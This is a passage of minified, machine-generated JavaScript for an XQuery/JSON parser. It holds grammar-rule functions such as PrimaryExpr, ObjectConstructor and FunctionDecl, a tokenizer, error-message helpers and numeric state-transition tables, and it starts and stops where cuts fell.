90821:case 90879:case 92807:case 92869:case 92927:case 93831:case 93893:case 93951:case 94343:case 94405:case 94463:case 96903:case 96965:case 97023:case 103559:case 103621:case 103679:case 104583:case 104645:case 104703:case 105095:case 105157:case 105215:case 107143:case 107205:case 107263:case 114823:case 114885:case 114943:case 116871:case 116933:case 116991:case 121479:case 121541:case 121599:case 123527:case 123589:case 123647:case 124039:case 124101:case 124159:case 129159:case 129221:case 129279:case 129671:case 129733:case 129791:case 130183:case 130245:case 130303:case 133255:case 133317:case 133375:case 139399:case 139461:case 139519:case 141447:case 141509:case 141567:case 142983:case 143045:case 143103:case 145543:case 145605:case 145663:case 146055:case 146117:case 146175:case 146567:case 146629:case 146687:case 147079:case 147141:case 147199:di();break;case 31:Si();break;case 35:Ci();break;case 32:Li();break;case-5:case 17926:case 17991:case 17993:case 17994:case 17995:case 17996:case 17998:case 18e3:case 18001:case 18002:case 18004:case 18005:case 18006:case 18007:case 18009:case 18010:case 18011:case 18012:case 18014:case 18015:case 18018:case 18019:case 18022:case 18023:case 18024:case 18025:case 18026:case 18027:case 18029:case 18030:case 18031:case 18032:case 18033:case 18034:case 18039:case 18040:case 18043:case 18044:case 18046:case 18047:case 18049:case 18050:case 18052:case 18053:case 18054:case 18056:case 18057:case 18058:case 18059:case 18062:case 18063:case 18068:case 18070:case 18072:case 18073:case 18075:case 18076:case 18077:case 18081:case 18082:case 18083:case 18084:case 18085:case 18086:case 18088:case 18090:case 18093:case 18094:case 18095:case 18097:case 18099:case 18101:case 18103:case 18104:case 18105:case 18107:case 18109:case 18115:case 18118:case 18122:case 18123:case 18124:case 18125:case 18126:case 18127:case 18130:case 18136:case 18137:case 18142:case 18143:case 18144:case 18145:case 18146:case 18148:case 18149:case 18152:case 18153:case 18154:case 18159:case 18160:case 18161:case 18162:case 18165:case 18173:case 18174:case 18176:case 18177:case 18178:case 18180:case 18182:case 18183:case 18186:case 18187:case 18188:case 18189:case 18192:case 18193:case 18196:Pi();break;case 144078:Oi();break;case 144134:_i();break;case 33:case 79:case 121:case 125:case 147:case 154:case 167:case 169:case 188:case 194:case 230:case 231:case 247:case 248:case 259:case 14854:case 14919:case 14921:case 14922:case 14923:case 14924:case 14926:case 14928:case 14929:case 14930:case 14931:case 14932:case 14933:case 14934:case 14935:case 14937:case 14938:case 14939:case 14940:case 14942:case 14943:case 14945:case 14946:case 14947:case 14950:case 14951:case 14952:case 14953:case 14954:case 14955:case 14957:case 14958:case 14959:case 14960:case 14961:case 14962:case 14967:case 14968:case 14970:case 14971:case 14972:case 14974:case 14975:case 14977:case 14978:case 14980:case 14981:case 14982:case 14983:case 14984:case 14985:case 14986:case 14987:case 14990:case 14991:case 14996:case 14998:case 15e3:case 15001:case 15003:case 15004:case 15005:case 15009:case 15010:case 15011:case 15012:case 15013:case 15014:case 15016:case 15018:case 15021:case 15022:case 15023:case 15025:case 15027:case 15029:case 15031:case 15032:case 15033:case 15035:case 15037:case 15043:case 15045:case 15046:case 15050:case 15051:case 15052:case 15053:case 15054:case 15055:case 15058:case 15064:case 15065:case 15068:case 15070:case 15071:case 15072:case 15073:case 15074:case 15076:case 15077:case 15080:case 15081:case 15082:case 15087:case 15088:case 15089:case 15090:case 15093:case 15097:case 15101:case 15102:case 15103:case 15104:case 15105:case 15106:case 15108:case 15110:case 15111:case 15114:case 15115:case 15116:case 15117:case 15120:case 15121:case 15124:ys();break;case-10:case 27929:Ol();break;case-11:case 10009:Sl();break;case 69:Ll();break;case 283:wl();break;default:qi()}ic.endNonterminal(\"PrimaryExpr\",Vl)}function bl(){switch($l){case 187:ql(247);break;case 220:ql(245);break;case 281:ql(283);break;case 83:case 122:ql(253);break;case 97:case 249:ql(97);break;case 120:case 206:case 262:ql(148);break;case 135:case 197:case 255:ql(237);break;case 6:case 71:case 73:case 74:case 75:case 76:case 78:case 80:case 81:case 82:case 84:case 85:case 86:case 87:case 89:case 90:case 91:case 92:case 94:case 95:case 98:case 99:case 102:case 103:case 104:case 105:case 106:case 107:case 109:case 110:case 111:case 112:case 113:case 114:case 119:case 123:case 124:case 126:case 127:case 129:case 130:case 132:case 133:case 134:case 136:case 137:case 138:case 139:case 142:case 143:case 148:case 150:case 152:case 153:case 155:case 156:case 157:case 161:case 162:case 163:case 164:case 165:case 166:case 168:case 170:case 173:case 174:case 175:case 177:case 179:case 181:case 183:case 184:case 185:case 189:case 195:case 198:case 202:case 203:case 204:case 205:case 207:case 210:case 216:case 217:case 222:case 223:case 224:case 225:case 226:case 228:case 229:case 232:case 233:case 234:case 239:case 240:case 241:case 242:case 245:case 253:case 254:case 256:case 257:case 258:case 260:case 263:case 266:case 267:case 268:case 269:case 272:case 273:case 276:ql(95);break;default:Wl=$l}if(Wl==3353||Wl==4377||Wl==4889||Wl==5401||Wl==5913||Wl==16153||Wl==16665||Wl==17177||Wl==18055||Wl==18117||Wl==18175||Wl==18201||Wl==18713||Wl==21273||Wl==22297||Wl==24345||Wl==24857||Wl==28441||Wl==28953||Wl==31001||Wl==35609||Wl==36633||Wl==37657||Wl==38169||Wl==38681||Wl==39193||Wl==40217||Wl==40729||Wl==41241||Wl==41753||Wl==42265||Wl==42777||Wl==43289||Wl==43801||Wl==44313||Wl==44825||Wl==45849||Wl==46361||Wl==46873||Wl==47385||Wl==48409||Wl==48921||Wl==49945||Wl==50457||Wl==50969||Wl==52505||Wl==53017||Wl==53529||Wl==54041||Wl==54553||Wl==55065||Wl==56089||Wl==56601||Wl==57113||Wl==57625||Wl==58137||Wl==58649||Wl==61209||Wl==61721||Wl==62233||Wl==62745||Wl==63257||Wl==63769||Wl==64281||Wl==64793||Wl==65305||Wl==66329||Wl==66841||Wl==67865||Wl==68377||Wl==68889||Wl==69401||Wl==69913||Wl==70425||Wl==70937||Wl==71449||Wl==72985||Wl==73497||Wl==75545||Wl==76057||Wl==77081||Wl==78105||Wl==78617||Wl==79129||Wl==79641||Wl==80153||Wl==80665||Wl==82713||Wl==83225||Wl==83737||Wl==84249||Wl==84761||Wl==85273||Wl==85785||Wl==86297||Wl==86809||Wl==87321||Wl==88857||Wl==89369||Wl==89881||Wl==90905||Wl==91929||Wl==92953||Wl==93977||Wl==94489||Wl==95001||Wl==96025||Wl==96537||Wl==97049||Wl==99609||Wl==100121||Wl==100633||Wl==101145||Wl==101657||Wl==103705||Wl==104217||Wl==104729||Wl==105241||Wl==105753||Wl==106265||Wl==107801||Wl==110873||Wl==111385||Wl==112921||Wl==113945||Wl==114457||Wl==114969||Wl==115481||Wl==115993||Wl==117017||Wl==117529||Wl==118041||Wl==118553||Wl==119065||Wl==119577||Wl==120089||Wl==122649||Wl==123161||Wl==123673||Wl==124185||Wl==125721||Wl==126745||Wl==127257||Wl==127769||Wl==129817||Wl==130329||Wl==130841||Wl==131353||Wl==131865||Wl==132377||Wl==132889||Wl==133401||Wl==134425||Wl==134937||Wl==136473||Wl==136985||Wl==137497||Wl==138009||Wl==139545||Wl==140057||Wl==141593||Wl==144153||Wl==145177||Wl==147225){Wl=uc(20,Vl);if(Wl==0){var e=Xl,t=Vl,n=$l,r=Jl,i=Kl,s=Ql,o=Gl,u=Yl;try{vi(),oc(20,t,-1),Wl=-14}catch(a){try{Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),Hi(),oc(20,t,-5),Wl=-14}catch(f){try{Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),Ml(),oc(20,t,-10),Wl=-14}catch(l){Wl=-11,Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),oc(20,t,-11)}}}}}switch(Wl){case-1:case 8:case 9:case 10:case 11:case 12935:case 12997:case 13055:case 13447:case 13509:case 13567:case 13959:case 14021:case 14079:case 19591:case 19653:case 19711:case 20103:case 20165:case 20223:case 21127:case 21189:case 21247:case 21639:case 21701:case 21759:case 22151:case 22213:case 22271:case 23175:case 23237:case 23295:case 24199:case 24261:case 24319:case 24711:case 24773:case 24831:case 25735:case 25797:case 25855:case 27783:case 27845:case 27903:case 28295:case 28357:case 28415:case 29831:case 29893:case 29951:case 30343:case 30405:case 30463:case 31367:case 31429:case 31487:case 31879:case 31941:case 31999:case 32391:case 32453:case 32511:case 32903:case 32965:case 33023:case 35463:case 35525:case 35583:case 35975:case 36037:case 36095:case 36487:case 36549:case 36607:case 39047:case 39109:case 39167:case 41095:case 41157:case 41215:case 41607:case 41669:case 41727:case 42119:case 42181:case 42239:case 43655:case 43717:case 43775:case 45191:case 45253:case 45311:case 45703:case 45765:case 45823:case 46215:case 46277:case 46335:case 46727:case 46789:case 46847:case 48775:case 48837:case 48895:case 51335:case 51397:case 51455:case 54407:case 54469:case 54527:case 56455:case 56517:case 56575:case 58503:case 58565:case 58623:case 61063:case 61125:case 61183:case 63111:case 63173:case 63231:case 63623:case 63685:case 63743:case 65159:case 65221:case 65279:case 66183:case 66245:case 66303:case 67719:case 67781:case 67839:case 71303:case 71365:case 71423:case 75911:case 75973:case 76031:case 76935:case 76997:case 77055:case 77959:case 78021:case 78079:case 78471:case 78533:case 78591:case 83079:case 83141:case 83199:case 84103:case 84165:case 84223:case 84615:case 84677:case 84735:case 85127:case 85189:case 85247:case 89735:case 89797:case 89855:case 90759:case 90821:case 90879:case 92807:case 92869:case 92927:case 93831:case 93893:case 93951:case 94343:case 94405:case 94463:case 96903:case 96965:case 97023:case 103559:case 103621:case 103679:case 104583:case 104645:case 104703:case 105095:case 105157:case 105215:case 107143:case 107205:case 107263:case 114823:case 114885:case 114943:case 116871:case 116933:case 116991:case 121479:case 121541:case 121599:case 123527:case 123589:case 123647:case 124039:case 124101:case 124159:case 129159:case 129221:case 129279:case 129671:case 129733:case 129791:case 130183:case 130245:case 130303:case 133255:case 133317:case 133375:case 139399:case 139461:case 139519:case 141447:case 141509:case 141567:case 142983:case 143045:case 143103:case 145543:case 145605:case 145663:case 146055:case 146117:case 146175:case 146567:case 146629:case 146687:case 147079:case 147141:case 147199:vi();break;case 31:xi();break;case 35:ki();break;case 32:Ai();break;case-5:case 17926:case 17991:case 17993:case 17994:case 17995:case 17996:case 17998:case 18e3:case 18001:case 18002:case 18004:case 18005:case 18006:case 18007:case 18009:case 18010:case 18011:case 18012:case 18014:case 18015:case 18018:case 18019:case 18022:case 18023:case 18024:case 18025:case 18026:case 18027:case 18029:case 18030:case 18031:case 18032:case 18033:case 18034:case 18039:case 18040:case 18043:case 18044:case 18046:case 18047:case 18049:case 18050:case 18052:case 18053:case 18054:case 18056:case 18057:case 18058:case 18059:case 18062:case 18063:case 18068:case 18070:case 18072:case 18073:case 18075:case 18076:case 18077:case 18081:case 18082:case 18083:case 18084:case 18085:case 18086:case 18088:case 18090:case 18093:case 18094:case 18095:case 18097:case 18099:case 18101:case 18103:case 18104:case 18105:case 18107:case 18109:case 18115:case 18118:case 18122:case 18123:case 18124:case 18125:case 18126:case 18127:case 18130:case 18136:case 18137:case 18142:case 18143:case 18144:case 18145:case 18146:case 18148:case 18149:case 18152:case 18153:case 18154:case 18159:case 18160:case 18161:case 18162:case 18165:case 18173:case 18174:case 18176:case 18177:case 18178:case 18180:case 18182:case 18183:case 18186:case 18187:case 18188:case 18189:case 18192:case 18193:case 18196:Hi();break;case 144078:Mi();break;case 144134:Di();break;case 33:case 79:case 121:case 125:case 147:case 154:case 167:case 169:case 188:case 194:case 230:case 231:case 247:case 248:case 259:case 14854:case 14919:case 14921:case 14922:case 14923:case 14924:case 14926:case 14928:case 14929:case 14930:case 14931:case 14932:case 14933:case 14934:case 14935:case 14937:case 14938:case 14939:case 14940:case 14942:case 14943:case 14945:case 14946:case 14947:case 14950:case 14951:case 14952:case 14953:case 14954:case 14955:case 14957:case 14958:case 14959:case 14960:case 14961:case 14962:case 14967:case 14968:case 14970:case 14971:case 14972:case 14974:case 14975:case 14977:case 14978:case 14980:case 14981:case 14982:case 14983:case 14984:case 14985:case 14986:case 14987:case 14990:case 14991:case 14996:case 14998:case 15e3:case 15001:case 15003:case 15004:case 15005:case 15009:case 15010:case 15011:case 15012:case 15013:case 15014:case 15016:case 15018:case 15021:case 15022:case 15023:case 15025:case 15027:case 15029:case 15031:case 15032:case 15033:case 15035:case 15037:case 15043:case 15045:case 15046:case 15050:case 15051:case 15052:case 15053:case 15054:case 15055:case 15058:case 15064:case 15065:case 15068:case 15070:case 15071:case 15072:case 15073:case 15074:case 15076:case 15077:case 15080:case 15081:case 15082:case 15087:case 15088:case 15089:case 15090:case 15093:case 15097:case 15101:case 15102:case 15103:case 15104:case 15105:case 15106:case 15108:case 15110:case 15111:case 15114:case 15115:case 15116:case 15117:case 15120:case 15121:case 15124:bs();break;case-10:case 27929:Ml();break;case-11:case 10009:xl();break;case 69:Al();break;case 283:El();break;case-14:break;default:Ri()}}function wl(){ic.startNonterminal(\"JSONSimpleObjectUnion\",Vl),Pl(283),Il(274),$l!=286&&(jl(),G()),Pl(286),ic.endNonterminal(\"JSONSimpleObjectUnion\",Vl)}function El(){Hl(283),Il(274),$l!=286&&Y(),Hl(286)}function Sl(){ic.startNonterminal(\"ObjectConstructor\",Vl),Pl(281),Il(277),$l!=287&&(jl(),Tl()),Pl(287),ic.endNonterminal(\"ObjectConstructor\",Vl)}function xl(){Hl(281),Il(277),$l!=287&&Nl(),Hl(287)}function Tl(){ic.startNonterminal(\"PairConstructorList\",Vl),Cl();for(;;){if($l!=42)break;Pl(42),Il(268),jl(),Cl()}ic.endNonterminal(\"PairConstructorList\",Vl)}function Nl(){kl();for(;;){if($l!=42)break;Hl(42),Il(268),kl()}}function Cl(){ic.startNonterminal(\"PairConstructor\",Vl);switch($l){case 78:ql(279);break;case 139:ql(187);break;case 161:ql(282);break;case 177:ql(178);break;case 187:ql(252);break;case 220:ql(248);break;case 223:ql(180);break;case 266:ql(191);break;case 83:case 122:ql(257);break;case 97:case 249:ql(149);break;case 111:case 222:ql(262);break;case 104:case 130:case 240:ql(165);break;case 135:case 197:case 255:ql(209);break;case 120:case 206:case 256:case 262:ql(167);break;case 121:case 125:case 167:case 188:case 194:case 230:case 231:ql(96);break;case 71:case 73:case 74:case 75:case 76:case 80:case 81:case 82:case 84:case 85:case 86:case 87:case 89:case 90:case 91:case 92:case 94:case 95:case 98:case 99:case 102:case 103:case 105:case 106:case 107:case 109:case 110:case 112:case 113:case 114:case 119:case 123:case 124:case 126:case 127:case 129:case 132:case 133:case 134:case 136:case 137:case 138:case 142:case 143:case 147:case 148:case 150:case 152:case 153:case 154:case 155:case 156:case 157:case 162:case 163:case 164:case 165:case 166:case 168:case 170:case 173:case 174:case 175:case 179:case 181:case 183:case 184:case 185:case 189:case 195:case 198:case 202:case 203:case 204:case 205:case 207:case 210:case 216:case 217:case 224:case 225:case 226:case 228:case 229:case 232:case 233:case 234:case 239:case 241:case 242:case 245:case 248:case 253:case 254:case 257:case 258:case 259:case 260:case 263:case 267:case 268:case 269:case 272:case 273:case 276:ql(144);break;default:Wl=$l}if(Wl==25735||Wl==25797||Wl==25855){Wl=uc(21,Vl);if(Wl==0){var e=Xl,t=Vl,n=$l,r=Jl,i=Kl,s=Ql,o=Gl,u=Yl;try{Xf(),Wl=-1}catch(a){Wl=-2}Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),oc(21,Vl,Wl)}}switch(Wl){case-2:case 19:case 25671:case 25673:case 25674:case 25675:case 25676:case 25678:case 25680:case 25681:case 25682:case 25683:case 25684:case 25685:case 25686:case 25687:case 25689:case 25690:case 25691:case 25692:case 25694:case 25695:case 25697:case 25698:case 25699:case 25702:case 25703:case 25704:case 25705:case 25706:case 25707:case 25709:case 25710:case 25711:case 25712:case 25713:case 25714:case 25719:case 25720:case 25721:case 25722:case 25723:case 25724:case 25725:case 25726:case 25727:case 25729:case 25730:case 25732:case 25733:case 25734:case 25736:case 25737:case 25738:case 25739:case 25742:case 25743:case 25747:case 25748:case 25750:case 25752:case 25753:case 25754:case 25755:case 25756:case 25757:case 25761:case 25762:case 25763:case 25764:case 25765:case 25766:case 25767:case 25768:case 25770:case 25773:case 25774:case 25775:case 25777:case 25779:case 25781:case 25783:case 25784:case 25785:case 25787:case 25788:case 25789:case 25794:case 25795:case 25798:case 25802:case 25803:case 25804:case 25805:case 25806:case 25807:case 25810:case 25816:case 25817:case 25820:case 25822:case 25823:case 25824:case 25825:case 25826:case 25828:case 25829:case 25830:case 25831:case 25832:case 25833:case 25834:case 25839:case 25840:case 25841:case 25842:case 25845:case 25848:case 25849:case 25853:case 25854:case 25856:case 25857:case 25858:case 25859:case 25860:case 25862:case 25863:case 25866:case 25867:case 25868:case 25869:case 25872:case 25873:case 25876:Ga();break;default:Wf()}Il(26),Pl(50),Il(267),jl(),Wf(),ic.endNonterminal(\"PairConstructor\",Vl)}function kl(){switch($l){case 78:ql(279);break;case 139:ql(187);break;case 161:ql(282);break;case 177:ql(178);break;case 187:ql(252);break;case 220:ql(248);break;case 223:ql(180);break;case 266:ql(191);break;case 83:case 122:ql(257);break;case 97:case 249:ql(149);break;case 111:case 222:ql(262);break;case 104:case 130:case 240:ql(165);break;case 135:case 197:case 255:ql(209);break;case 120:case 206:case 256:case 262:ql(167);break;case 121:case 125:case 167:case 188:case 194:case 230:case 231:ql(96);break;case 71:case 73:case 74:case 75:case 76:case 80:case 81:case 82:case 84:case 85:case 86:case 87:case 89:case 90:case 91:case 92:case 94:case 95:case 98:case 99:case 102:case 103:case 105:case 106:case 107:case 109:case 110:case 112:case 113:case 114:case 119:case 123:case 124:case 126:case 127:case 129:case 132:case 133:case 134:case 136:case 137:case 138:case 142:case 143:case 147:case 148:case 150:case 152:case 153:case 154:case 155:case 156:case 157:case 162:case 163:case 164:case 165:case 166:case 168:case 170:case 173:case 174:case 175:case 179:case 181:case 183:case 184:case 185:case 189:case 195:case 198:case 202:case 203:case 204:case 205:case 207:case 210:case 216:case 217:case 224:case 225:case 226:case 228:case 229:case 232:case 233:case 234:case 239:case 241:case 242:case 245:case 248:case 253:case 254:case 257:case 258:case 259:case 260:case 263:case 267:case 268:case 269:case 272:case 273:case 276:ql(144);break;default:Wl=$l}if(Wl==25735||Wl==25797||Wl==25855){Wl=uc(21,Vl);if(Wl==0){var e=Xl,t=Vl,n=$l,r=Jl,i=Kl,s=Ql,o=Gl,u=Yl;try{Xf(),oc(21,t,-1),Wl=-3}catch(a){Wl=-2,Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),oc(21,t,-2)}}}switch(Wl){case-2:case 19:case 25671:case 25673:case 25674:case 25675:case 25676:case 25678:case 25680:case 25681:case 25682:case 25683:case 25684:case 25685:case 25686:case 25687:case 25689:case 25690:case 25691:case 25692:case 25694:case 25695:case 25697:case 25698:case 25699:case 25702:case 25703:case 25704:case 25705:case 25706:case 25707:case 25709:case 25710:case 25711:case 25712:case 25713:case 25714:case 25719:case 25720:case 25721:case 25722:case 25723:case 25724:case 25725:case 25726:case 25727:case 25729:case 25730:case 25732:case 25733:case 25734:case 25736:case 25737:case 25738:case 25739:case 25742:case 25743:case 25747:case 25748:case 25750:case 25752:case 25753:case 25754:case 25755:case 25756:case 25757:case 25761:case 25762:case 25763:case 25764:case 25765:case 25766:case 25767:case 25768:case 25770:case 25773:case 25774:case 25775:case 25777:case 25779:case 25781:case 25783:case 25784:case 25785:case 25787:case 25788:case 25789:case 25794:case 25795:case 25798:case 25802:case 25803:case 25804:case 25805:case 25806:case 25807:case 25810:case 25816:case 25817:case 25820:case 25822:case 25823:case 25824:case 25825:case 25826:case 25828:case 25829:case 25830:case 25831:case 25832:case 25833:case 25834:case 25839:case 25840:case 25841:case 25842:case 25845:case 25848:case 25849:case 25853:case 25854:case 25856:case 25857:case 25858:case 25859:case 25860:case 25862:case 25863:case 25866:case 25867:case 25868:case 25869:case 25872:case 25873:case 25876:Ya();break;case-3:break;default:Xf()}Il(26),Hl(50),Il(267),Xf()}function Ll(){ic.startNonterminal(\"ArrayConstructor\",Vl),Pl(69),Il(273),$l!=70&&(jl(),G()),Pl(70),ic.endNonterminal(\"ArrayConstructor\",Vl)}function Al(){Hl(69),Il(273),$l!=70&&Y(),Hl(70)}function Ol(){ic.startNonterminal(\"BlockExpr\",Vl),Pl(281),Il(281),jl(),of(),Pl(287),ic.endNonterminal(\"BlockExpr\",Vl)}function Ml(){Hl(281),Il(281),uf(),Hl(287)}function _l(){ic.startNonterminal(\"FunctionDecl\",Vl),Pl(147),Il(246),jl(),$a(),Il(22),Pl(35),Il(98),$l==31&&(jl(),U()),Pl(38),Il(158),$l==80&&(jl(),Dl()),Il(122);switch($l){case 281:Pl(281),Il(281),jl(),of(),Pl(287);break;default:Pl(134)}ic.endNonterminal(\"FunctionDecl\",Vl)}function Dl(){ic.startNonterminal(\"ReturnType\",Vl),Pl(80),Il(254),jl(),Ls(),ic.endNonterminal(\"ReturnType\",Vl)}function Pl(e){$l==e?(jl(),ic.terminal(i.TOKEN[$l],Jl,Kl>fc?fc:Kl),Xl=Jl,Vl=Kl,$l=Ql,$l!=0&&(Jl=Gl,Kl=Yl,Ql=0)):zl(Jl,Kl,0,$l,e)}function Hl(e){$l==e?(Xl=Jl,Vl=Kl,$l=Ql,$l!=0&&(Jl=Gl,Kl=Yl,Ql=0)):zl(Jl,Kl,0,$l,e)}function Bl(e){var t=Xl,n=Vl,r=$l,i=Jl,s=Kl;$l=e,Jl=lc,Kl=cc,Ql=0,Va(),Xl=t,Vl=n,$l=r,$l!=0&&(Jl=i,Kl=s)}function jl(){Vl!=Jl&&(Xl=Vl,Vl=Jl,ic.whitespace(Xl,Vl))}function Fl(e){var t;for(;;){t=hc(e);if(t!=22){if(t!=37)break;Bl(t)}}return t}function Il(e){$l==0&&($l=Fl(e),Jl=lc,Kl=cc)}function ql(e){Ql==0&&(Ql=Fl(e),Gl=lc,Yl=cc),Wl=Ql<<9|$l}function Rl(e){$l==0&&($l=hc(e),Jl=lc,Kl=cc)}function Ul(e){Ql==0&&(Ql=hc(e),Gl=lc,Yl=cc),Wl=Ql<<9|$l}function zl(e,t,r,i,s){throw t>ec&&(Zl=e,ec=t,tc=r,nc=i,rc=s),new n.ParseException(Zl,ec,tc,nc,rc)}function oc(e,t,n){sc[(t<<5)+e]=n}function uc(e,t){var n=sc[(t<<5)+e];return typeof n!=\"undefined\"?n:0}function hc(e){var t=!1;lc=cc;var n=cc,r=i.INITIAL[e],s=0;for(var o=r&8191;o!=0;){var u,a=n<fc?ac.charCodeAt(n):0;++n;if(a<128)u=i.MAP0[a];else if(a<55296){var f=a>>4;u=i.MAP1[(a&15)+i.MAP1[(f&31)+i.MAP1[f>>5]]]}else{if(a<56320){var f=n<fc?ac.charCodeAt(n):0;f>=56320&&f<57344&&(++n,a=((a&1023)<<10)+(f&1023)+65536,t=!0)}var l=0,c=5;for(var h=3;;h=c+l>>1){if(i.MAP2[h]>a)c=h-1;else{if(!(i.MAP2[6+h]<a)){u=i.MAP2[12+h];break}l=h+1}if(l>c){u=0;break}}}s=o;var p=(u<<13)+o-1;o=i.TRANSITION[(p&15)+i.TRANSITION[p>>4]],o>8191&&(r=o,o&=8191,cc=n)}r>>=13;if(r==0){cc=n-1;var f=cc<fc?ac.charCodeAt(cc):0;return f>=56320&&f<57344&&--cc,zl(lc,cc,s,-1,-1)}if(t)for(var d=r>>9;d>0;--d){--cc;var f=cc<fc?ac.charCodeAt(cc):0;f>=56320&&f<57344&&--cc}else cc-=r>>9;return(r&511)-1}r(e,t);var n=this;this.ParseException=function(e,t,n,r,i){var s=e,o=t,u=n,a=r,f=i;this.getBegin=function(){return s},this.getEnd=function(){return o},this.getState=function(){return u},this.getExpected=function(){return f},this.getOffending=function(){return a},this.getMessage=function(){return a<0?\"lexical analysis failed\":\"syntax error\"}},this.getInput=function(){return ac},this.getOffendingToken=function(e){var t=e.getOffending();return t>=0?i.TOKEN[t]:null},this.getExpectedTokenSet=function(e){var t;return e.getExpected()<0?t=i.getTokenSet(-e.getState()):t=[i.TOKEN[e.getExpected()]],t},this.getErrorMessage=function(e){var t=this.getExpectedTokenSet(e),n=this.getOffendingToken(e),r=ac.substring(0,e.getBegin()),i=r.split(\"\\n\"),s=i.length,o=i[s-1].length+1,u=e.getEnd()-e.getBegin();return e.getMessage()+(n==null?\"\":\", found \"+n)+\"\\nwhile expecting \"+(t.length==1?t[0]:\"[\"+t.join(\", \")+\"]\")+\"\\n\"+(u==0||n!=null?\"\":\"after successfully scanning \"+u+\" characters beginning \")+\"at line \"+s+\", column \"+o+\":\\n...\"+ac.substring(e.getBegin(),Math.min(ac.length,e.getBegin()+64))+\"...\"},this.parse_XQuery=function(){ic.startNonterminal(\"XQuery\",Vl),Il(278),jl(),o(),Pl(25),ic.endNonterminal(\"XQuery\",Vl)};var Wl,Xl,Vl,$l,Jl,Kl,Ql,Gl,Yl,Zl,ec,tc,nc,rc,ic,sc,ac,fc,lc,cc};r.getTokenSet=function(e){var t=[],n=e<0?-e:INITIAL[e]&8191;for(var i=0;i<289;i+=32){var s=i,o=(i>>5)*4317+n-1,u=o>>2,a=u>>2,f=r.EXPECTED[(o&3)+r.EXPECTED[(u&3)+r.EXPECTED[(a&15)+r.EXPECTED[a>>4]]]];for(;f!=0;f>>>=1,++s)(f&1)!=0&&t.push(r.TOKEN[s])}return t},r.MAP0=[71,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,17,17,17,17,17,17,17,17,17,18,19,20,21,22,23,24,25,26,27,28,29,26,30,30,30,30,30,31,32,33,30,30,34,30,30,35,30,30,30,36,30,30,37,38,39,40,30,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,40,40],r.MAP1=[108,124,214,214,214,214,214,214,214,214,214,214,214,214,214,214,156,181,181,181,181,181,214,215,213,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,247,261,277,293,309,355,371,387,423,423,423,415,339,331,339,331,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,440,440,440,440,440,440,440,324,339,339,339,339,339,339,339,339,401,423,423,424,422,423,423,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,338,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,423,71,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,17,17,17,17,17,17,17,17,17,18,19,20,21,22,23,24,25,26,27,28,29,26,30,30,30,30,30,31,32,33,30,30,30,30,30,30,30,30,30,30,30,30,30,30,40,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,34,30,30,35,30,30,30,36,30,30,37,38,39,40,30,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,40,40,40,40,40,40,40,40,40,40,40,40,30,30,40,40,40,40,40,40,40,70,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70],r.MAP2=[57344,63744,64976,65008,65536,983040,63743,64975,65007,65533,983039,1114111,40,30,40,30,30,40],r.INITIAL=[1,24578,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290],r.TRANSITION=[37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37